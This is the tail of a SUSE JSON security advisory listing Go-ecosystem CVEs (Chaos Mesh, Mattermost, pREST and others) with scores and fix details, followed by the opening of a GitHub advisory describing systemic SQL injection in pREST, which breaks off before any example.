Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-58063", "url": "https://www.suse.com/security/cve/CVE-2025-58063" }, { "category": "external", "summary": "SUSE Bug 1249389 for CVE-2025-58063", "url": "https://bugzilla.suse.com/1249389" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "scores": [ { "cvss_v3": { "baseScore": 5.4, "baseSeverity": "MEDIUM", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "version": "3.1" }, "products": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "moderate" } ], "title": "CVE-2025-58063" }, { "cve": "CVE-2025-58157", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-58157" } ], "notes": [ { "category": "general", "text": "gnark is a zero-knowledge proof system framework. In version 0.12.0, there is a potential denial of service vulnerability when computing scalar multiplication is using the fake-GLV algorithm. This is because the algorithm didn\u0027t converge quickly enough for some of the inputs. This issue has been patched in version 0.13.0.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-58157", "url": "https://www.suse.com/security/cve/CVE-2025-58157" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "important" } ], "title": "CVE-2025-58157" }, { "cve": "CVE-2025-58158", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-58158" } ], "notes": [ { "category": "general", "text": "Harness Open Source is an end-to-end developer platform with Source Control Management, CI/CD Pipelines, Hosted Developer Environments, and Artifact Registries. Prior to version 3.3.0, Open Source Harness git LFS server (Gitness) exposes api to retrieve and upload files via git LFS. Implementation of upload git LFS file api is vulnerable to arbitrary file write. Due to improper sanitization for upload path, a malicious authenticated user who has access to Harness Gitness server api can use a crafted upload request to write arbitrary file to any location on file system, may even compromise the server. Users using git LFS are vulnerable. This issue has been patched in version 3.3.0.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-58158", "url": "https://www.suse.com/security/cve/CVE-2025-58158" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "important" } ], "title": "CVE-2025-58158" }, { "cve": "CVE-2025-58430", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-58430" } ], "notes": [ { "category": "general", "text": "listmonk is a standalone, self-hosted, newsletter and mailing list manager. In versions up to and including 1.1.0, every http request in addition to the session cookie `session` there included `nonce`. The value is not checked and validated by the backend, removing `nonce` allows the requests to be processed correctly. This may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability. Cross-site request forgery and cross-site scripting chained together can result in improper admin account creation. As of time of publication, no patched versions are available.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-58430", "url": "https://www.suse.com/security/cve/CVE-2025-58430" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "not set" } ], "title": "CVE-2025-58430" }, { "cve": "CVE-2025-58437", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-58437" } ], "notes": [ { "category": "general", "text": "Coder allows organizations to provision remote development environments via Terraform. In versions 2.22.0 through 2.24.3, 2.25.0 and 2.25.1, Coder can be compromised through insecure session handling in prebuilt workspaces. Coder automatically generates a session token for a user when a workspace is started. It is automatically exposed via coder_workspace_owner.session_token. Prebuilt workspaces are initially owned by a built-in prebuilds system user. When a prebuilt workspace is claimed, a new session token is generated for the user that claimed the workspace, but the previous session token for the prebuilds user was not expired. Any Coder workspace templates that persist this automatically generated session token are potentially impacted. This is fixed in versions 2.24.4 and 2.25.2.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-58437", "url": "https://www.suse.com/security/cve/CVE-2025-58437" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "important" } ], "title": "CVE-2025-58437" }, { "cve": "CVE-2025-58445", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-58445" } ], "notes": [ { "category": "general", "text": "Atlantis is a self-hosted golang application that listens for Terraform pull request events via webhooks. All versions of Atlantis publicly expose detailed version information through its /status endpoint. This information disclosure could allow attackers to identify and target known vulnerabilities associated with the specific versions, potentially compromising the service\u0027s security posture. This issue does not currently have a fix.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-58445", "url": "https://www.suse.com/security/cve/CVE-2025-58445" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "scores": [ { "cvss_v3": { "baseScore": 7.5, "baseSeverity": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1" }, "products": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "important" } ], "title": "CVE-2025-58445" }, { "cve": "CVE-2025-58450", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-58450" } ], "notes": [ { "category": "general", "text": "pREST (PostgreSQL REST), is an API that delivers an application on top of a Postgres database. SQL injection is possible in versions prior to 2.0.0-rc3. The validation present in versions prior to 2.0.0-rc3 does not provide adequate protection from injection attempts. Version 2.0.0-rc3 contains a patch to mitigate such attempts.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-58450", "url": "https://www.suse.com/security/cve/CVE-2025-58450" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "not set" } ], "title": "CVE-2025-58450" }, { "cve": "CVE-2025-59358", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-59358" } ], "notes": [ { "category": "general", "text": "The Chaos Controller Manager in Chaos Mesh exposes a GraphQL debugging server without authentication to the entire Kubernetes cluster, which provides an API to kill arbitrary processes in any Kubernetes pod, leading to cluster-wide denial of service.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-59358", "url": "https://www.suse.com/security/cve/CVE-2025-59358" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "important" } ], "title": "CVE-2025-59358" }, { "cve": "CVE-2025-59359", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-59359" } ], "notes": [ { "category": "general", "text": "The cleanTcs mutation in Chaos Controller Manager is vulnerable to OS command injection. In conjunction with CVE-2025-59358, this allows unauthenticated in-cluster attackers to perform remote code execution across the cluster.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-59359", "url": "https://www.suse.com/security/cve/CVE-2025-59359" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "critical" } ], "title": "CVE-2025-59359" }, { "cve": "CVE-2025-59360", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-59360" } ], "notes": [ { "category": "general", "text": "The killProcesses mutation in Chaos Controller Manager is vulnerable to OS command injection. In conjunction with CVE-2025-59358, this allows unauthenticated in-cluster attackers to perform remote code execution across the cluster.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-59360", "url": "https://www.suse.com/security/cve/CVE-2025-59360" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "critical" } ], "title": "CVE-2025-59360" }, { "cve": "CVE-2025-59361", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-59361" } ], "notes": [ { "category": "general", "text": "The cleanIptables mutation in Chaos Controller Manager is vulnerable to OS command injection. In conjunction with CVE-2025-59358, this allows unauthenticated in-cluster attackers to perform remote code execution across the cluster.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-59361", "url": "https://www.suse.com/security/cve/CVE-2025-59361" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "critical" } ], "title": "CVE-2025-59361" }, { "cve": "CVE-2025-7445", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-7445" } ], "notes": [ { "category": "general", "text": "Kubernetes secrets-store-sync-controller in versions before 0.0.2 discloses service account tokens in logs.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-7445", "url": "https://www.suse.com/security/cve/CVE-2025-7445" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "moderate" } ], "title": "CVE-2025-7445" }, { "cve": "CVE-2025-8396", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-8396" } ], "notes": [ { "category": "general", "text": "Insufficiently specific bounds checking on authorization header could lead to denial of service in the Temporal server on all platforms due to excessive memory allocation.This issue affects all platforms and versions of OSS Server prior to 1.26.3, 1.27.3, and 1.28.1 (i.e., fixed in 1.26.3, 1.27.3, and 1.28.1 and later). Temporal Cloud services are not impacted.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-8396", "url": "https://www.suse.com/security/cve/CVE-2025-8396" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "not set" } ], "title": "CVE-2025-8396" }, { "cve": "CVE-2025-9072", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-9072" } ], "notes": [ { "category": "general", "text": "Mattermost versions 10.10.x \u003c= 10.10.1, 10.5.x \u003c= 10.5.9, 10.9.x \u003c= 10.9.4 fail to validate the redirect_to parameter, allowing an attacker to craft a malicious link that, once a user authenticates with their SAML provider, could post the user\u0027s cookies to an attacker-controlled URL.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-9072", "url": "https://www.suse.com/security/cve/CVE-2025-9072" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "scores": [ { "cvss_v3": { "baseScore": 5.4, "baseSeverity": "MEDIUM", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "products": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "important" } ], "title": "CVE-2025-9072" }, { "cve": "CVE-2025-9076", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-9076" } ], "notes": [ { "category": "general", "text": "Mattermost versions 10.10.x \u003c= 10.10.1 fail to properly sanitize user data during shared channel membership synchronization, which allows malicious or compromised remote clusters to access sensitive user information via unsanitized user objects. This vulnerability affects Mattermost Server instances with shared channels enabled.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-9076", "url": "https://www.suse.com/security/cve/CVE-2025-9076" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "moderate" } ], "title": "CVE-2025-9076" }, { "cve": "CVE-2025-9078", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-9078" } ], "notes": [ { "category": "general", "text": "Mattermost versions 10.8.x \u003c= 10.8.3, 10.5.x \u003c= 10.5.8, 9.11.x \u003c= 9.11.17, 10.10.x \u003c= 10.10.1, 10.9.x \u003c= 10.9.3 fail to properly validate cache keys for link metadata which allows authenticated users to access unauthorized posts and poison link previews via hash collision attacks on FNV-1 hashing", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-9078", "url": "https://www.suse.com/security/cve/CVE-2025-9078" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "moderate" } ], "title": "CVE-2025-9078" }, { "cve": "CVE-2025-9084", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-9084" } ], "notes": [ { "category": "general", "text": "Mattermost versions 10.5.x \u003c= 10.5.9 fail to properly validate redirect URLs which allows attackers to redirect users to malicious sites via crafted OAuth login URLs", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-9084", "url": "https://www.suse.com/security/cve/CVE-2025-9084" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "scores": [ { "cvss_v3": { "baseScore": 6.1, "baseSeverity": "MEDIUM", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "products": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "moderate" } ], "title": "CVE-2025-9084" } ] }
ghsa-p46v-f2x8-qp98
Vulnerability from github
Summary
pREST provides a simple way for users to expose access their database via a REST-full API. The project is implemented using the Go programming language and is designed to expose access to Postgres database tables.
During an independent review of the project, Doyensec engineers found that SQL injection is a systemic problem in the current implementation (version v2.0.0-rc2
). Even though there are several instances of attempts to sanitize user input and mitigate injection attempts, we have found that on most code-paths, the protection is faulty or non-existent.
Core Endpoints
The main functionality providing REST operations on the data stored in the Postgres database is exposed via the following endpoints:
- GET /{database}/{schema}/{table}
- POST /{database}/{schema}/{table}
- PUT|PATCH /{database}/{schema}/{table}
- DELETE /{database}/{schema}/{table}
Handlers for the above endpoints execute very similar logic. At a high-level they: 1. Perform authentication and authorization 2. Build the SQL query based on the incoming request 3. Execute the query on the database 4. Return the data to the user
The query construction logic uses data from the request (e.g query, body or path parameters) and incorporates them in the SQL query.
As an example, let us look at the GET
